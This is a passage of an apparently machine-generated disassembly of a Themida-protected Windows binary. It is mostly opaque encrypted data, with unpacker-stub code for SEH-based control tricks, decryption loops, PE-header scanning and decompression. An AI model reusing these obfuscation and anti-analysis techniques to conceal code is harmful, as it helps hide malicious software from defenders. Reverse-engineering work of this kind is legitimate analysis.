40000000h, 0B01Ah dd 51000000h, 0B08Eh, 2 dup(0) dd 0F0000000h, 9D73CAh, 0 dd 7C000000h, 0FD000000h, 95FF4F05h, 30h, 0 dd 94000000h, 7C90EBh, 0E0000000h, 129AAh, 0 dd 9000000h, 8F8060h, 4 dup(0) dd 48000000h, 6Bh, 7 dup(0) dd 4000000h, 2 dup(0) dd 0AE82h, 2 dup(0) dd 0F000000h, 1D00B018h, 6009h, 0 dd 54000000h, 12FFh, 2 dup(0) dd 0F000000h, 0B018h, 2 dup(0) dd 4D000000h, 2135DC3Ch, 212121h, 0B8000000h, 0F41EA6D1h dd 4, 0FA000000h, 0BAF799h, 22000000h, 22222222h, 0CC222222h dd 0B03Eh, 4 dup(0) dd 323733h, 4 dup(0) dd 20C0h, 2 dup(0) dd 54000000h, 696D6568h, 6164h, 1Ch dup(0) dd 0DD000000h, 5B1685h, 6 dup(0) dd 9A000000h, 5D1Ah, 8 dup(0) dd 18000000h, 0B029h, 8 dup(0) dd 0BB000000h, 5CA5h, 0FA000000h, 66849Eh, 5 dup(0) dd 80000000h, 12FEh, 2 dup(0) dd 70000000h, 3, 0 dd 55000000h, 5BE0h, 9000000h, 7C812Ah, 3 dup(0) dd 1E000000h, 5ED7h, 4 dup(0) dd 3000000h, 0DF00B0FAh, 0A9C530h, 0 dd 95000000h, 5CEDh, 0 dd 6C000000h, 836F14h, 0 dd 33000000h, 2 dup(33333333h), 333333h, 3 dup(0) dd 80000000h, 12FEh, 0F3000000h, 27F9B9h, 0 dd 37000000h, 0B0FAh, 0 dd 34000000h, 204h, 44000000h, 7C90EBh, 4 dup(0) dd 0AC000000h, 7C802Ch, 2 dup(0) dd 44000000h, 7C90EBh, 98000000h, 5 dup(0) dd 8F000000h, 836F04h, 4 dup(0) dd 1000000h, 5D005BC3h, 0E87DC217h, 2C00003Ah, 5806h, 7 dup(0) dd 10000000h, 81h, 2 dup(0) dd 0E0000000h, 129AAh, 4 dup(0) dd 94000000h, 257C90EBh, 0FFA3ACh, 5Fh dup(0) dd 0E9000000h, 0DA0000D6h, 0E67C81CDh, 2005E93h, 0FB000000h dd 27F9B9h, 24000000h, 5EA4h, 2Fh dup(0) dd 0A0000000h, 6007h, 4 dup(0) dd 0EB000000h, 34h, 0 dd 64000000h, 7 dup(0) dd 0E0000000h, 129AAh, 0 dd 0C6000000h, 5CFFh, 8 dup(0) dd 0A5000000h, 5D1Dh, 4 dup(0) dd 93000000h, 183EDEh, 0 dd 6000000h, 78005C37h, 0CE000000h, 5BE9h, 3 dup(0) dd 0D4000000h, 25B6Dh, 0 dd 84000000h, 412662h, 2 dup(0) dd 0D000000h, 9230Ch, 0C1000000h, 0B5005A6Dh, 0DA77D713h dd 7C8111h, 2 dup(0) dd 0FF000000h, 6FFFFFFh, 30h, 3 dup(0) dd 0A0000000h, 5AC5h, 0A0000000h, 5AC5h, 2 dup(0) dd 0C3000000h, 0FFA7FDh, 4 dup(0) dd 3000000h, 5BE9h, 0Ch dup(0) dd 96000000h, 5A005E33h, 0B777DDEEh, 8636FB2Dh, 0EACB38h dd 0 dd 0E8000000h, 5C86h, 3 dup(0) dd 0CB000000h, 6022h, 29000000h, 10571D3Dh, 5B87h, 8 dup(0) dd 44000000h, 0DDE75Ch, 6 dup(0) dd 94000000h, 183E82h, 14000000h, 1130h, 52000000h, 61747365h dd 70417472h, 78652E70h, 65h, 2 dup(0) dd 20000000h, 0B019h, 0 dd 0B000h, 2 dup(0) dd 0D2000000h, 62860h, 0F0000000h, 77DD6Bh, 6 dup(0) dd 7C000000h, 0E0000000h, 5DACh, 79000000h, 1FDE953h, 4D000000h dd 35DC3Ch, 4 dup(0) dd 0AD000000h, 0A8h, 0 dd 80000000h, 0DED6388h, 0B38Bh, 54000000h, 770012FFh dd 230057FDh, 5C64h, 10000000h, 76F215h, 0 dd 0B8000000h, 0D7887743h, 15F05Bh, 2 dup(0) dd 0E0000000h, 129AAh, 86h dup(0) dd 6D000000h, 7C9105h, 0EC000000h, 57D21Ch, 2 dup(0) dd 0BF000000h, 573EDDh, 2 dup(0) dd 1B000000h, 57CCh, 0Ah dup(0) dd 7A000000h, 0F1E21Ah, 5 dup(0) dd 3E000000h, 5B87h, 6 dup(0) dd 0DD000000h, 3Ah, 24000000h, 46DB56h, 5 dup(0) dd 6C000000h, 836F14h, 4 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57F81B: ; CODE XREF: start:loc_57C2CAj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 613355Bh mov [ebp+61308B9h], edx mov [ebp+6133481h], esi mov [ebp+61313E5h], eax cmp dword ptr [ebp+61311CDh], 0 jz short loc_57F853 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_57F853: ; CODE XREF: start+6C831j mov eax, [esp+40h+var_1C] mov [ebp+6133081h], eax push 45h call sub_57F907 push 783749Ah call sub_57F94D push 0A894B25h call sub_57F94D jmp loc_57FA91 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h, 46h, 47h dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_57F907 proc near ; CODE XREF: start+6C84Bp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 6133649h mov ebx, edx mov [ebp+var_28], 0 loc_57F923: ; CODE XREF: sub_57F907+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_57F942 mov eax, [ebp+arg_0] mov [ebx+61335B3h], eax inc [ebp+arg_0] inc ebx jmp short loc_57F923 ; --------------------------------------------------------------------------- loc_57F942: ; CODE XREF: sub_57F907+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_57F907 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_57F94D proc near ; CODE XREF: start+6C855p start+6C85Fp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 6133692h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_57F973: ; CODE XREF: sub_57F94D+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_57F973 mov [ebp+var_84], 0 lea edi, [edx+61335B3h] lea esi, [ebp+var_80] loc_57F9A3: ; CODE XREF: sub_57F94D+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_57F9AF: ; CODE XREF: sub_57F94D+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_57F9AF imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_57F9A3 popa leave retn 4 sub_57F94D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_57F9ED ; --------------------------------------------------------------------------- loc_57F9E9: ; CODE XREF: Themida_:0057F9F0j inc dword ptr [ebp-4] inc esi loc_57F9ED: ; CODE XREF: Themida_:0057F9E7j cmp byte ptr [esi], 0 jnz short loc_57F9E9 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_57FA7E ; --------------------------------------------------------------------------- loc_57F9FF: ; CODE XREF: Themida_:0057FA81j mov dword ptr [ebp-8], 0 jmp short loc_57FA75 ; --------------------------------------------------------------------------- loc_57FA08: ; CODE XREF: Themida_:0057FA79j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_57FA62 ; --------------------------------------------------------------------------- loc_57FA18: ; CODE XREF: Themida_:0057FA66j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_57FA3A cmp bl, 39h ja short loc_57FA3A sub bl, 30h jmp short loc_57FA5C ; --------------------------------------------------------------------------- loc_57FA3A: ; CODE XREF: Themida_:0057FA2Ej ; Themida_:0057FA33j cmp bl, 61h jb short loc_57FA4C cmp bl, 66h ja short loc_57FA4C sub bl, 61h add bl, 0Ah jmp short loc_57FA5C ; --------------------------------------------------------------------------- loc_57FA4C: ; CODE XREF: Themida_:0057FA3Dj ; Themida_:0057FA42j cmp bl, 41h jb short loc_57FA5C cmp bl, 46h ja short loc_57FA5C sub bl, 41h add bl, 0Ah loc_57FA5C: ; CODE XREF: Themida_:0057FA38j ; Themida_:0057FA4Aj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_57FA62: ; CODE XREF: Themida_:0057FA16j cmp dword ptr [ebp-0Ch], 2 jb short loc_57FA18 cmp dword ptr [ebp-10h], 0 jbe short loc_57FA72 mov eax, [ebp-10h] stosb loc_57FA72: ; CODE XREF: Themida_:0057FA6Cj inc dword ptr [ebp-8] loc_57FA75: ; CODE XREF: Themida_:0057FA06j cmp dword ptr [ebp-8], 2 jb short loc_57FA08 add edx, 4 loc_57FA7E: ; CODE XREF: Themida_:0057F9FDj cmp edx, [ebp-4] jb loc_57F9FF mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57FA91: ; CODE XREF: start+6C864j mov ecx, 7000h lea edi, [ebp+61337D8h] loc_57FA9C: ; CODE XREF: start+6CA8Cj dec byte ptr [edi] inc edi dec ecx jnz short loc_57FA9C mov eax, 48692121h mov edx, 0F0113000h sub edx, 0F0000000h lea eax, [ebp+61338B5h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax sub ebx, 0AE1C6C6h sub eax, edx jmp loc_57FAEC ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 0CA89h dd 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 3458F021h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57FAEC: ; CODE XREF: start+6CAC1j and eax, 0FFFFF000h cmc mov ecx, edx xor edi, edi loc_57FAF6: ; CODE XREF: start+6CAFDj cmp word ptr [eax], 5A4Dh jnz short loc_57FB0B movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_57FB13 loc_57FB0B: ; CODE XREF: start+6CAE7j sub eax, 1000h inc edi jmp short loc_57FAF6 ; --------------------------------------------------------------------------- loc_57FB13: ; CODE XREF: start+6CAF5j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+61338C8h] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_57FB4D mov esi, [eax+1Ch] loc_57FB4D: ; CODE XREF: start+6CB34j xor eax, eax loc_57FB4F: ; CODE XREF: start+6CB4Ej cmp eax, 32h jz short loc_57FB73 cmp word ptr [esi], 5A4Dh jz short loc_57FB64 loc_57FB5B: ; CODE XREF: start+6CB5Dj sub esi, 10000h inc eax jmp short loc_57FB4F ; --------------------------------------------------------------------------- loc_57FB64: ; CODE XREF: start+6CB45j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_57FBB5 jmp short loc_57FB5B ; --------------------------------------------------------------------------- loc_57FB73: ; CODE XREF: start+6CB3Ej pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 51h dd 10244C8Bh, 0B0A981h, 10000000h, 33590000h, 8B51C3C0h dd 5510244Ch, 0E8h, 0ED815D00h, 61338D3h, 3891858Dh, 81890613h dd 0B8h, 0C033595Dh db 0C3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57FBB5: ; CODE XREF: start+6CB5Bj xchg eax, esi pop large dword ptr fs:0 add esp, 4 push 0 push ebp call sub_57FBCB and [ebp-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_57FBCB proc near ; CODE XREF: start+6CBAFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_57FBCB endp ; --------------------------------------------------------------------------- db 0D9h dd 9FFCD22Dh, 662B2983h, 0D98ADF8Bh, 0AE9DF8Bh, 0E5000000h dd 0D023CB8Dh, 0DF49837Fh, 0D98C66EFh, 14E8h, 0ABDA2700h dd 0CB4FEDCAh, 884C3E5h, 5E7F353Bh, 0DED69E83h, 84BB666Ah dd 0E1805B5Ah, 56AFB304h, 0C90A5BF9h, 3F850Fh, 0C7F50000h dd 13173D85h, 106h, 17EF8000h, 38E9h, 0BE85100h, 29000000h dd 0C3E1D250h, 112EDB20h, 800FD796h, 0 dd 0EE95B5Bh, 6E000000h, 555CAEFFh, 0E01506E7h, 0F6E66F37h dd 3D85C7A1h, 61317h, 0B3000000h, 6D8589A9h, 0E9061311h dd 7, 0CB0D7C69h, 890F86A3h, 131EE985h, 0FE806h, 0DCF80000h dd 1B317E29h, 71501E13h, 85FC603Dh, 4A51B8C9h, 665A1DABh dd 81FEF9BEh, 6C09C2h, 0F850F00h, 0E9000000h, 0Ah, 782518E8h dd 4B041E1Fh, 0C933372Bh, 810A3C8Bh, 5BF319E3h, 76C78168h dd 0B40D5DDFh, 55EF8113h, 6010A78Eh, 0D0BF0FF5h, 39F78161h dd 0BE28E821h, 2053DC43h, 8FB5B457h, 830F0A04h, 16h, 0CE960h dd 0A3EE0000h, 0DBC2DCFBh, 7B71E680h, 0B70F75F4h, 890F61F7h dd 2, 0E9838CB3h, 0DE8B6604h, 94B8F981h, 850FFFFFh, 16h dd 84A63BEh, 21E965h, 0FB3F0000h, 3652E578h, 0CA620EBFh dd 0E9F9F43Eh, 0FFFFFF80h, 0B267E84Ah, 0EF0A836Ah, 6E9A01E0h dd 0EB6820FAh, 21B04h, 724E900h, 10E90000h, 8A000000h dd 55D77416h, 8A9BA460h, 2133E8C6h, 6040411Fh, 18F58D01h dd 0B80613h, 60000000h, 8BD2B70Fh, 130FF9BDh, 548B6106h dd 8B602824h, 131AD99Dh, 0BE906h, 0E55A0000h, 9500E97Ch dd 747E228Bh, 858961FFh, 6132BC5h, 3CBEFCh, 3FC0000h, 1242474h dd 1334D995h, 89AD6606h, 131629BDh, 24440306h, 6810F24h dd 89000000h, 13318585h, 14E95006h, 1C000000h, 7FF0DEBCh dd 7F00B3E3h, 78BD0773h, 58A9BFC7h, 89BF9147h, 8A0F2404h dd 6, 24299D29h, 408B0613h, 51BD8978h, 3061329h, 0E9282444h dd 0Ch, 65AB2B3Fh, 8EDF2232h, 0ACABA4B0h, 0FC18408Bh, 1DBD8940h dd 89061312h, 133A8F85h, 99958906h, 6006131Ah, 799529h dd 58610613h, 5E9h, 0F0BBCE00h, 10E941D2h, 0E2000000h dd 0E31A9DA4h, 0AD8F501Ch, 203243EAh, 8BE8F430h, 8D897870h dd 61300E9h, 0F81CC683h, 24247403h, 5E9h, 0C0802500h, 0BD8D02BCh dd 61318C1h, 0F0B70F60h, 0CFBF0F60h, 1BD59D8Bh, 61610613h dd 14E9h, 76039D00h, 1AFD46D6h, 0B7ED6243h, 0ADC39C23h dd 36AD23D6h, 880FAD20h, 8, 2870Fh, 61600000h, 10E9h, 742E9400h dd 296855AFh, 2D3B60D2h, 8A3DC3ACh, 244403A8h, 0FE924h dd 0B6AC0000h, 0C4F5FCB0h, 29C8A86Dh, 122F4F2h, 8D89AB44h dd 6132BB5h, 951BD8Dh, 0B5090613h, 61304D9h, 0AE9h, 0E372C700h dd 0B9CAB34h, 0AD0C011Ah, 244403FCh, 7E924h, 0AF8F0000h dd 0B16C3446h, 61B5296Ah, 50061322h, 0D98B6660h, 0C3A0BE66h dd 24048961h, 19B50160h, 8906130Ch, 1310B5BDh, 840F6106h dd 8, 0A9BD8960h, 61061334h, 59BD31ABh, 8D06130Fh, 131B55BDh dd 9B58906h, 0AD061307h, 68D0Fh, 0B5890000h, 6133059h dd 28244403h, 12399D31h, 0BA600613h, 8FBDFA1h, 498D8960h dd 6106132Ch, 0FE9AB61h, 0ED000000h, 9D4BC67Fh, 9AE40827h dd 71F3DB33h, 0F85E5D5Eh, 25ED9D29h, 8DFF0613h, 6133A8Fh dd 3A8FBD83h, 75000613h, 2444C710h, 1Ch, 55B58D00h, 0FF06133Fh dd 3AD56E6h, 97282444h, 858ADF8Bh, 61311E1h, 474C084h dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh dd 4C6835Eh, 2BC585FFh, 6FE90613h, 5EFFFFFFh, 0FDB96660h dd 0D5950B84h, 6106131Fh, 0D860Fh, 66600000h, 51C5D781h dd 16199D89h, 8B610613h, 132BC585h, 0C820F06h, 0F000000h dd 681h, 1D9D8900h, 29061315h, 131D7D95h, 29E0D106h, 1308CD8Dh dd 0F9B58906h, 306130Fh, 131B5585h, 6880F06h, 89000000h dd 130BAD9Dh, 0BE06h, 96FC0000h, 23699589h, 0AD660613h dd 0DE9h, 0BC5EEE00h, 0B76EE00h, 544F9084h, 36065EBh, 131BF185h dd 0F2D6BB06h, 0C161595Bh, 9D8902E0h, 6131621h, 18C18503h dd 880F0613h, 18h, 13E9h, 0E8250800h, 6C513DA8h, 450CB1Ch dd 9B945615h, 81AA09Ah, 89B58996h, 0AD06132Ch, 244C8BF9h dd 0BE924h, 0A40B0000h, 7A6346E4h, 5E53D14h, 244403D7h dd 0CD9D2924h, 8906131Bh, 0F91C2444h, 80606096h, 0F61E2DBh dd 8961C1BFh, 131211B5h, 0FF8AC06h, 1287h, 0DE900h, 7DA80000h dd 0F3C1F14Ah, 44EEBEF7h, 321ECB32h, 6870FC9h, 89000000h dd 131BA185h, 60C1FE06h, 0F43CA80h, 68Dh, 8D0F00h, 61000000h dd 830FD0D0h, 0B7h, 0B86660F5h, 66534099h, 6158F38Bh, 830FD0D0h dd 0A3h, 0FEDBD89h, 0D0D00613h, 95820Fh, 7E90000h, 73000000h dd 798EC618h, 0D0D00F0Fh, 81820Fh, 0FEF80000h, 0B9890FC9h dd 0E9FFFFFFh, 0Ch, 49DD0A99h, 9ECDA7A1h, 0C9902E78h, 12810Fh dd 0DE90000h, 83000000h, 0C321AF00h, 0C4EB95E0h, 9F99820Bh dd 0F20C483h, 685h, 0BD9D0900h, 0C706130Eh, 0FC2444h, 89000000h dd 1324BD95h, 1B806h, 8D890000h, 61300E1h, 75338D8Dh, 14E90613h dd 7C000000h, 92068ADBh, 2DB2D020h, 624516BDh, 0A4892F8Fh dd 0FF6F99B2h, 18529E1h, 0C606132Ah, 1311E185h, 9D290006h dd 6131629h, 0B5850961h, 0C2061325h, 820F0008h, 1, 8E996FCh dd 33000000h, 0F5763032h, 50A2CB06h, 15820Fh, 10E90000h dd 0BD000000h, 0D918ACB4h, 45A44A8Eh, 0DB7FD818h, 9617A52Fh dd 0B19D8B60h, 8B061321h, 1317419Dh, 0B5896106h, 6134178h dd 988D89FCh, 60061341h, 10D5B509h, 8D610613h, 134004B5h dd 0D98D0106h, 8D061305h, 5B8EA185h, 8B666000h, 0D0FF61C6h dd 0C3DB589h, 31600613h, 132BE18Dh, 318D8906h, 61061316h dd 60C3F95Eh, 5958D8Bh, 49BA0613h, 6145702Fh, 1DE59529h dd 0B58B0613h, 6134178h, 0BE9h, 0C6328100h, 318942C0h dd 4675E10Ch, 41988D8Bh, 0B5890613h, 6133045h, 0B8h, 0FE900h dd 884A0000h, 64152240h, 4A7B3FE7h, 0CF87878Fh, 60D98B93h dd 25018589h, 958B0613h, 61322DDh, 10EE961h, 890F0000h dd 1, 68F0FF5h, 89000000h, 13006D95h, 0F263206h, 0A81h dd 5E900h, 16730000h, 0B214B8E3h, 799D0102h, 0E906132Ch dd 83h, 8D015360h, 613318Dh, 0C232615Fh, 0F5958960h, 8A061323h dd 7A0561FAh, 0F88A751Dh, 12E9CC8Ah, 0B7000000h, 0F81B4893h dd 62702DF7h, 0C649E80Ch, 3E0FA26Dh, 0FE960E7h, 14000000h dd 0D705E53Dh, 0E20752FCh, 27F57198h, 0BD8B1910h, 6131291h dd 60C8D361h, 0FD38B66h, 3561DBB7h, 98D10842h, 0FCAFEF9h dd 1A89h, 8B666000h, 10E9D6h, 9820000h, 542EB427h, 81213D38h dd 0FFC5831Bh, 0A61387Fh, 7F850FD2h, 0FFFFFFFh, 1685h dd 11E900h, 0AF6B0000h, 0A6C9C9A2h, 1A5711D1h, 0AE810AB5h dd 4B32E9CEh, 14800F60h, 0E8000000h, 0Eh, 7E711324h, 0E306DDC9h dd 262F46E8h, 0B55AB779h, 0F4661CCh, 0F86h, 0AE900h, 54560000h dd 941A54A0h, 0E5921D6Fh, 850FDB0Bh, 0FFFFFEFDh, 0C718B860h dd 0CF6103E3h, 318D8589h, 613h, 1F65BD89h, 613h, 0FF98D01h dd 0BE90613h dd 0EF000000h, 0FC003A2Ch, 42209425h, 0E5A9h, 0FE9h, 8A937900h dd 0AF5801AEh, 0C28FDF29h, 281C1BDCh, 1E41B589h, 613h dd 32019D09h, 858D0613h, 6133AADh, 358589F8h, 0F8061332h dd 3F73858Dh, 8D290613h, 61329D9h, 118589FCh, 0E8061307h dd 10h, 40FEF81Ch, 67C77078h, 26C680FBh, 12E40092h, 505F5A52h dd 0C7815EF8h, 61CBh, 0AD8DF281h, 0B857EAh, 0E8000000h dd 0Fh, 40F5600Ch, 4FDE7509h, 0E92C5432h, 297C45D0h, 1330B1B5h dd 34FF5A06h, 0AE938h, 9BF30000h, 3DDF672Bh, 62CFF00Eh dd 0F381F55Bh, 6B302544h, 9ABA66h, 51D4C381h, 0F3813591h dd 1C196D58h, 92BDB966h, 0D1B58953h, 8F06130Fh, 81660704h dd 8343B2C9h, 11E803E8h, 8F000000h, 76D9B019h, 77480FDCh dd 3198A22Ch, 0BE0284EDh, 4859CE8Ah, 1275B58Bh, 0F8810613h dd 0FFFF9EECh, 0FF94850Fh, 7E8FFFFh, 0AE000000h, 57D7D639h dd 0EB5E9890h, 14h, 3 dup(0) dd 0E200h, 62858D00h, 89061343h, 132CDD85h, 0ABBD8306h dd 61342h, 11A840Fh, 85C60000h, 61311E1h, 0EA7A6856h, 4817E75h dd 0A982BF24h, 6DB5FF55h, 8D061311h, 133AAD85h, 89D0FF06h dd 13429F85h, 0E185C606h, 56061311h, 0D62BC668h, 24048193h dd 8D28C8Ch, 116DB5FFh, 858D0613h, 6133AADh, 8589D0FFh dd 61342A3h, 4368046Ah, 8169FCEBh, 0FB432434h, 858B69FCh dd 61342AFh, 1F405h, 2E0C100h, 24048950h, 95FF006Ah, 61342A3h dd 42A78589h, 0D88B0613h, 0FFFFFFB8h, 0DD95FFFFh, 8B06132Ch dd 0DD95FFC3h, 0E906132Ch, 84h, 42ABBD83h, 0F000613h, 185h dd 8B57C300h, 1342A7BDh, 8583AB06h, 61342A7h, 83C35F04h dd 1342ABBDh, 850F0006h, 1, 0AD8360C3h, 61342A7h, 0A79D8B04h dd 83061342h, 0FFFFC7Bh, 1D85h, 8DC06800h, 34816739h, 390DC024h dd 0FF006A67h, 9F95FF33h, 61061342h, 1DE9C3h, 6C680000h dd 81C32512h, 6D942404h, 6A3CDBh, 95FF33FFh, 613429Fh dd 42A7AD83h, 0E9040613h, 0FFFFFFB1h, 1ADE948h, 8B600000h dd 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h dd 585h, 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5 dd 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h dd 830FD212h, 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h dd 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h dd 1B8FFh, 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h dd 3485h, 1B900h, 0D2020000h, 5850Fh, 168A0000h, 13D21246h dd 0FD202C9h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h dd 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh dd 830F0000h, 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h dd 5EA4F3F0h, 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h dd 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h dd 840F01E8h, 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh dd 76E90000h, 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h dd 929h, 9D3E9h, 0AF5E0C00h, 3DF34623h, 460CB5C3h, 90A7E53Ah dd 0ABF95A51h, 735F5389h, 0F1C729FBh, 9394819Ah, 0AF785117h dd 31B14D2Eh, 141BA7CBh, 97B5F469h, 0C4B25514h, 795523EAh dd 0FDC634EFh, 919481C8h, 0AF7B5E11h, 2EB1572Eh, 1404BDD6h dd 8CABE877h, 0AFBC4103h, 6E191789h, 0B0D734EBh, 84DA809Ah dd 0AF6D4A11h, 2FFE5137h, 1A04B3D6h, 63h dup(0) dd 0AF5E0C00h, 21FF4C2Ah, 141BBDD0h, 84A9FF6Ah, 0EEF15903h dd 3C4A128Fh, 0BFC622ECh, 889592C8h, 0FD3F5B10h, 21FF4D32h dd 5D49B5CAh, 8CBFAD74h, 0BDBC4A04h, 794D009Eh, 0DCA969E3h dd 9C9F98B8h, 0AF335A0Dh, 27FD4D32h, 5D49B6C5h, 91A0AD6Eh dd 0A3BC551Eh, 6E561E82h, 0BFC267F7h, 9888D48Ch, 0FD7E4B0Dh dd 27E80333h, 4449A0D1h, 91A1E268h, 0B25510h, 48h dup(0) dd 0AF5E0C00h, 2BF05124h, 131BB7CFh, 8CB2AD69h, 0A6BC541Eh dd 7E190086h, 0F1CD22EBh, 938F9B8Eh, 0FA6D1F1Ah, 26F84D29h dd 5A00F2C3h, 96A9F43Ah, 0B7EF1803h, 715C0794h, 81AE4DA0h dd 8E9B9184h, 0FA3F131Bh, 29FE4F29h, 4000F2C0h, 8CB4EB3Ah dd 0ABF1181Ch, 654B1C8Ah, 0B5CD26AEh, 8E9F86C8h, 0FB6D5E0Ah dd 3DFE5A67h, 4619F2D6h, 82B4EA75h, 161Ch, 61h dup(0) dd 0E6590C00h, 2BB1462Bh, 411BA0CBh, 87A3F96Ah, 9ABC1650h dd 3C4A1A8Fh, 0B6CC35FEh, 0DD97959Ah, 0AF6C5E16h, 26F44625h dd 5A08BF84h, 8FB3FD73h, 0AAF94C10h, 785712C7h, 0A8C22AAEh dd 0F0F0918Ah, 0FC384B17h, 2EFF4A67h, 511DB1C1h, 9AA4AD7Eh dd 98BC5951h, 6F4C018Eh, 0F1D128AEh, 9E9B868Bh, 0A17B5A15h dd 21F97767h, 5D0FF2D7h, 94E6E876h, 0BABB561Eh, 6E5604C7h dd 0BFC267E5h, 8F959991h, 111Bh, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) aS_4: unicode 0, <é/> dw 0E900h db 0Dh,0 dd 0C9F00000h, 0BF15DF0Fh, 17C28017h, 0FCF442ADh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B2C35646h, 63F6E873h dd 8589E4B6h, 6131EA5h, 9D8BC08Bh, 61329ADh, 1625BD83h dd 75000613h, 81BD8309h, 6132Ch, 53501374h, 1B8C08Bh, 8D000000h dd 15A81F9Dh, 5BD3FF06h, 81BD8358h, 6132Ch, 53501174h dd 1B8h, 0D09D8D00h, 0FF0615A6h, 0F585BD3h, 178Ch, 11840F00h dd 0E8000000h, 0Bh, 0C40500F9h, 0BB8F4E7Dh, 5BF12583h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8FC35646h dd 0C08BBCC9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 3FC35646h, 3C57F321h, 80CD7B98h, 0BD8340D2h, 61334E5h 